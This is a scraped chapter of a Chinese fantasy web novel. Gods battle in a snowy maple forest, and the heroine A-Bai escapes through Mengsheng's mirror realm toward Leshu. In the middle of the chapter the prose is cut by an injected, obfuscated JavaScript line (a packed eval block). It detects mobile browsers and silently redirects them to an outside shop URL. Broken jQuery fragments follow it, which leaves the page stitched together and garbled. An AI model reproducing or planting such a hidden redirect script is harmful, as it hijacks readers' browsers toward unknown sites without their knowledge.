随着雪色越加浓郁,阿无的身影快如幻影,周遭景物都快速掠过,梦生的身影也瞬间消失在眼前,那双金色眼眸,不知怎地阿白总觉得熟悉。

    好似曾经见过!

    枫树林中已然被雪花覆盖,河流凝结成冰,空气中汇集着寒意,此刻她在阿无怀中,抬眸间瞥见他眼底的兴奋。

    她知道阿忧一直都在暗处对他们穷追不舍,显然阿无也知。

    白茫茫的一片,阿白却能在其中看见密密麻麻的红线,好似丝网不断的笼罩,将枫林地禁锢其中,只等她的神魄出现将她逮捕。

    当初她忙着赶路浑然不觉,此刻才知晓在神明出现的那一刻,红线就已然布下。

    想到云上说的宽恕,她心生冷笑。

    她从不需要那些虚无,她要的是永生在阳光下。

    踏过枫林地后的冰河,茂盛的枝丫与古藤盘旋在沉重的铜色古门之上,风雪缠绕却掩盖不住金光。

    阿无刚欲落下,前方一大片冰刃袭来,身后传来阿忧的大笑。

    “阿无,你逃不掉的,把她交给我,我自会在云上那为你说辞。”

    阿忧站在雪色枝丫之上,点滴雪花飘落如同她轻盈步伐,她踏着枫林而来,嘴角扯起笑意。

    空有能力而没有眼力的邪神,对她来说愚蠢至极。她眼底是对阿无的不屑,一副胜利者的姿态。

    这般模样总是令人厌恶,阿白如此,阿无已然。

    腰间的冷意消失,阿白平稳地落地。

    下一秒,阿无松开她,眼神对视的瞬间带着一种警告,转瞬间他转身将她护在身后朝着阿忧望去,“真是狂妄啊,我都快不记得你输的样子了,不过……”

    他顿声轻笑道:“现在记起了,就是这个样子,狂妄而傲慢。”

    “我还是想念你忧愁的模样呢,阿忧。”

    “少废话,废物看招。”阿忧怒吼,抬起手,指尖对着阿无。

    显然被阿无的话激怒,指尖发出蓝光,雪色白羊浮现,她低吟着:“神的鸣告,吾身为祇,魄为神,幻相浮。”

    阿白诧异,这阿忧可真是急性子,被阿无一激连法相都出现了。

    悠远的哼鸣刹那,飘零的雪花停滞,她指尖浮现的白羊化为蓝光变大将整个天空笼罩,威压感扑面而来,无数蓝羊朝着他们袭来,雪地翻涌,跪咩喷出。

    此刻她看清了样貌,血色小羊和蓝羊如出一辙,这是她的神本相,阿无所说的诡咩。

    密密麻麻的跪咩如同丝线般将他们围绕,攻势迅猛。

    阿白故作害怕地上前,攥住阿无的衣袖,只听一声“大人”,骤然间脚下悬空,失重感传来。

    阿白忍不住惊呼,下一刻犹如黑宝石般的鳞片浮现,手腕传来冰凉和痛意。

    阿无抓住她的手腕,将她扯到身边,鳞片在他脚下,此刻她抬眸才发现,他身后浮现了黑龙,盘旋的黑龙笼罩着他,将天的另一半占据。

    阿白的注意被阿忧吸引,竟然不知什么时候他唤出了神本相!

    黑龙压迫感十足地朝着诡咩怒吼,他们的神魄在枫林地交织,显然阿忧并不是对手,蓝色诡咩被巨口撕咬。

    空气中响起刺耳的悲鸣。

    阿忧见此面露悲伤,十指紧扣,垂下双眸似在低语,下一刻诡咩身旁浮现三座神本相,他们朝向诡咩,模样朦胧不清。

    阿白知道是其他的神明,他们在帮助阿忧。

    神明神魄不断交织,地面发生晃动,红线色彩越加浓烈,好似在等待着什么。

    阿无此刻眼底猩红,“云上可真是好手段,可惜她,你们带不走。”

    已经很久没有遇到这样的对手了,阿无感觉浑身血液都在沸腾,指尖忍不住颤抖着,显然很是兴奋。

    “在这里等我。”他叮嘱着,霎时手握横刀朝着阿忧的方向飞去。

    “阿……”阿白伸手想要让他留下,却只能看见他的背影。

    神本相围绕的空中,是一场神明的对决。

    她站在黑龙中,所有攻势都被黑龙抵挡,可此刻她心中更加不安。

    诡咩不断朝着她袭来,她不断躲闪观察着周围的一切,指甲紧紧钻进掌心,她不能出手。

    阿忧和阿无打得不可开交,手中玉剑刺向他,悲悯的眼眸与此刻的狠辣手法完全不同,阿无挡住剑嗤笑:“你还是这个样子令人不那么火大。”

    “火大吗?情绪会害人,阿无,这不好。”

    “世人皆说邪神喜怒无常,睚眦必报,可我觉得这算是种傲慢。明明不过是受情绪的奴役,成为了奴隶,当真是可怜,世人为何还要惧怕呢?世人不懂情却故作深情,不懂痛苦却声称痛苦,好像唯有呐喊才会被看见般,难道沉默就该被忽视吗?难道……”

    阿无打断她,不耐烦道:“还是这个鬼样子,废话真多。”

    “你不是说比起她,更喜欢我这个样子吗?”阿忧弱弱开口,在她看来不火大就是喜欢。

    她的气息微弱,阿无很是无语,若不是她招招致命,他还真以为她快死了。

    阿忧有两个人格,一个悲悯憔悴,话多烦人;一个肆意张狂,说话气人。

    怎么样都令他心烦,好在实力不错,够得上和他一比。

    多年不见,显然她的身法更胜当年,他嘴角上扬着,虽比不过念神,却也令他解解闷。

    此刻有着三位神明的助力,阿忧的神魄更加强悍,对于这场比斗,阿无很是狂喜,显然将阿白抛在脑后。

    阿白望着空中不断打斗的两人,随着身法的越来越快,她听见了阿无狂笑,这厮发疯了。

    眼眸流转间与阿忧视线对上,她悲悯的目光此刻转换成张狂,在她墨色瞳孔中阿白看见身后不断刺向的冰刃与侧面的诡咩袭来。

    转身间黑龙摆动了下,她闪躲的瞬间跌落黑龙。

    澄明眼眸倒映着黑龙和不断交织的红线,神本相越来越远。

    她有些呆滞地看着这一切,飘零的雪花落在她脸颊,她感觉到冰凉,坠落时急风刮得生疼。

    好似有所察觉般,阿无猛地回眸,朝着她飞来,俊朗脸上此刻浮现担忧。

    黑白间宽大的衣摆随着雪花飘荡,犹如从天而降的神明。

    骨节分明的掌心朝着她的方向,阿白刚想要伸手,耳边传来弓弦声,她侧头看去。

    箭划破零落的雪,直直刺向她。

    不……

    不……

    她不要那样的未来……

    她唇瓣微张却发不出一点声音,只能在心底嘶吼。

    阿无第一次在她脸上看见惊恐的眸光,反应过来时,箭已然刺向她。

    “阿白!”他大喊着,恐惧的脸庞被白光遮蔽,刹那间周遭浮现不断收缩的红线。

    云上的红线怎么会在这里?

    什么时候出现的?

    没等他想明白,白光暗淡,他看见阿白胸口泛着白光,箭早已不知去向,红线不断朝着她围绕。

    与此同时,她的身后变得一片漆黑,一只巨大的红瞳缓慢地睁开眼,待他将红线砍破朝着她飞去,指尖触碰到的瞬间,两人一同跌落红瞳中消失不见。

    空中的黑龙也消逝,见此阿忧收回自己的神本相。</

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671074|207376||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>

    她站在雪地中,眼眸瞥向枫林地走出的身影。

    “阿欲,干的不错,把人交出来,我会向云上为你说辞。”

    梦生一身白衣走出,眼底浮现不屑,“这种话,阿忧还是对别人说吧,我可不信。”

    “什么意思,你找死?”阿忧立即生气道,可惜梦生并未搭理。

    他随手丢给她一个铜镜说:“看看吧,人是带不回去了,这是那位的命令。”

    提到那位,阿忧原本怒气的脸恢复悲悯,接过镜子后看了下,不再说话。

    雪渐渐停下,地面浮现离去的脚印,随后消失,最后雪也融化。

    镜空

    一片白茫茫,阿白有些疑惑,她原以为自己会再次被带回去,一旦受到致命袭击,她的神魄会不受控地帮她挡掉攻击。

    她一旦出手必然被红线锁定,当红线触及她指尖的瞬间,她感觉到有一股力量在保护着她,吸引着她快速坠落。

    阿白注视着这空空如也的境地,唯有一只红瞳在空中睁开。

    “还不现身吗?”

    空荡荡的空间中回荡着她轻柔的嗓音。

    下一刻身后传来脚步声,她回头,一片白色中走出了俊朗男子。

    如她所料是梦生,这里是他的境地,那样的红瞳,她印象很深刻。

    阿白不解:“你救了我不怕云上责怪?如今的你想来是害怕失去王座神明的身份的。”

    “你果然什么都知道,真是一颗玲珑心呢。”梦生嘲讽地看她,说:“念神,我劝你不要再上前了,和阿无回去。”

    阿白轻笑:“我非要呢?怎么你又想要阻止我?”

    “不会。”

    “那便带我去乐蜀,我相信你有这个能力。”她缓慢上前,眼眸注视着他。

    他眼底闪过诧异,神色有些纠结。

    沉默许久,在她以为他要拒绝时,只见他一挥手,左面便出现白色门框,门框后也是白茫茫一片,他说:“走出去便是乐蜀,阿无也在那里。”

    “多谢。”阿白看了一眼他,“你可还记得在源镜说的让我不要被抓住?”

    他神色困惑,“我何时说过?”

    此刻证实了她当初的猜想,她摇头道:“没什么,走了。”

    梦生只觉得莫名其妙。

    阿白朝着门框走去,待踏入时,她回眸道:“对不起,或许当初我应该见她一面的,这样就会知道真相。”

    “我记得海棠一直期盼着你,以我对她的了解,她不会如此对你,不会只因为一个男子,我想是有误会的。”

    她知道说这些已然于事无补,但还是想要告诉他,她由衷的感谢,“谢谢你,处理掉了那个令人作呕的存在。”

    阿白抬眸望着他,一双杏眼中满是笑意,是个温柔的笑。

    梦生有些愣神,她是第一个告诉他海棠的看法的,也是海棠曾经的挚友,若是曾经他不会信,只会觉得是安慰,可神明都带着谎言,那什么会是真的?

    他突然觉得有些残忍,看着她的转身,他叫住她。

    “阿白,别去,神明王座不需要被证明,你……你早就被认可了,别再往前了。”

    别再往前了,一切都是虚妄……

    阿白没有回头,她笃定:“只有往前,才会得到我想要的。”

    她的背影带着决绝,踏入门后消失眼前。

    梦生微张着唇,神色带着悲伤,他想到君莫师尊的脸,第一次心生愧疚。

    念神索要的活着,他无法告知。

    一切都会走向死亡……一切的奔波都是徒劳……